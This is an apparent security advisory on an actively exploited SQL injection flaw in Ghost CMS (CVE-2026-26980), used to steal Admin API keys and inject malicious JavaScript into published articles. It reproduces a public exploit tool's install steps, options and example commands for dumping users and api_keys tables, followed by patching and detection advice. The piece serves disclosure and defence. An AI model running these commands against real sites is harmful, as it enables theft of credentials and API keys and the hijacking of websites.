Summary

A SQL injection flaw in the Ghost content management system — patched back in February but still widely unpatched in the wild — is being actively abused to hijack more than 700 websites, among them properties belonging to DuckDuckGo, Harvard University, and Oxford University. Tracked as CVE-2026-26980, the bug lets unauthenticated attackers read arbitrary data from a Ghost instance's database, and threat actors are using it to steal each site's Admin API key and rewrite published articles with malicious JavaScript. The findings come from Chinese security vendor Qianxin, which has tracked at least two competing groups poisoning the same victims.

The vulnerability

Ghost is a popular open-source CMS built for blogging, newsletters, and publishing, with native membership and subscription features. Its maintainers say it runs on more than 100,000 sites, which makes any unauthenticated database-read flaw a high-value target.

CVE-2026-26980 is an SQL injection weakness in Ghost's Content API. According to the public proof-of-concept research, the injection is reachable without authentication through ordering on a slug filter, producing a blind SQLi primitive. When the issue surfaced in February alongside its fix, SentinelOne cautioned that unauthenticated attackers could pull sensitive material straight out of the Ghost database — including authentication tokens, user credentials, and site content. In practice that means an attacker can dump the users table (email addresses and password hashes) and, critically, the api_keys table.

How the attack works

Qianxin reports that the operators chained the database read into a full content-poisoning workflow:

  1. Exploit CVE-2026-26980 to extract the target's Admin API key from the database.
  2. Authenticate to Ghost's Admin API with that stolen key.
  3. Edit already-published articles through the API, injecting malicious JavaScript loaders.
  4. Serve those loaders to site visitors as part of ClickFix-style social-engineering attacks (the lures that trick users into pasting and running attacker-supplied commands).

One of the DLLs tied to the campaign carries a compile timestamp of February 16 — the very day the patch was announced — and Qianxin first observed compromised sites in early May. The firm counted more than 700 affected websites. Roughly half are personal blogs and independent sites; the remainder span software, AI, cryptocurrency, and other sectors. At least two distinct groups appear to be running competing poisoning operations, sometimes overwriting each other's payloads on the same site within a single day. Qianxin added that most of the victims it notified never responded.

Proof of concept

A public exploit by researcher vognik automates discovery and database extraction against vulnerable Ghost instances. It auto-discovers the Content API key, verifies the flaw, and dumps arbitrary tables.

Clone and install:


git clone https://github.com/vognik/CVE-2026-26980.git
cd CVE-2026-26980
pip install -r ./requirements.txt

Tool options:


usage: main.py [-h] -u URL [-a KEY] [-p PATH] [-k] [-c MODE] [-d {sqlite,mysql}] [-T NAME] [-C COL1,COL2] [-t N] [-o FILE]

options:
  -h, --help            show this help message and exit

Connection settings:
  -u, --url URL         Set target Ghost instance URL
  -a, --api-key KEY     Set Content API key (skips auto-discovery)
  -p, --api-path PATH   Set Content API path (default: /ghost/api/content/)
  -k, --insecure        Skip SSL certificate verification

Extraction settings:
  -c, --check MODE      Verify vulnerability: passive (meta tags) or active (SQL error)
  -d, --dbms {sqlite,mysql}
                        Select database engine (default: sqlite)
  -T, --table NAME      Set database table to dump (e.g., users, api_keys)
  -C, --columns COL1,COL2
                        Set columns to extract (comma-separated)
  -t, --threads N       Set number of concurrent threads (default: 15)

Output settings:
  -o, --output FILE     Save results to the specified CSV file

Usage examples (as documented by the author):


python3 main.py -u http://target.com
(Quickly extract admin email and password hash from a default SQLite setup)

python3 main.py -u http://target.com -c passive
(Check the site for the vulnerability using the meta tag on the main page)

python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv
(Dump the "email" and "password" columns from the "users" table and save the result to "result.csv")

python3 main.py -u http://target.com -d mysql -T api_keys -t 25
(Dump all API keys from the "api_keys" table)

The api_keys example is the one that matters for this campaign: dumping that table is exactly how an attacker recovers the Admin API key needed to rewrite published posts.

A separate vulnerable-by-design lab from researcher dinosn reproduces the root cause — an unauthenticated blind SQLi via slug filter ordering in the Content API — and is useful for safe testing in an isolated environment.

Detection and mitigation

  • Patch immediately. CVE-2026-26980 was fixed in February; the gap between patch release (Feb 16) and active mass exploitation (early May) shows that unpatched Ghost installs remain the entire attack surface. Update to the current Ghost release.
  • Rotate API keys. Because the campaign's goal is to steal the Admin API key, treat any unpatched-then-patched instance as already compromised: regenerate both Content and Admin API keys after updating.
  • Verify vulnerability passively. The -c passive mode above checks the version meta tag on the homepage without sending injection traffic — a low-risk way to triage your own estate.
  • Audit published content for injected JavaScript. Review posts for unexpected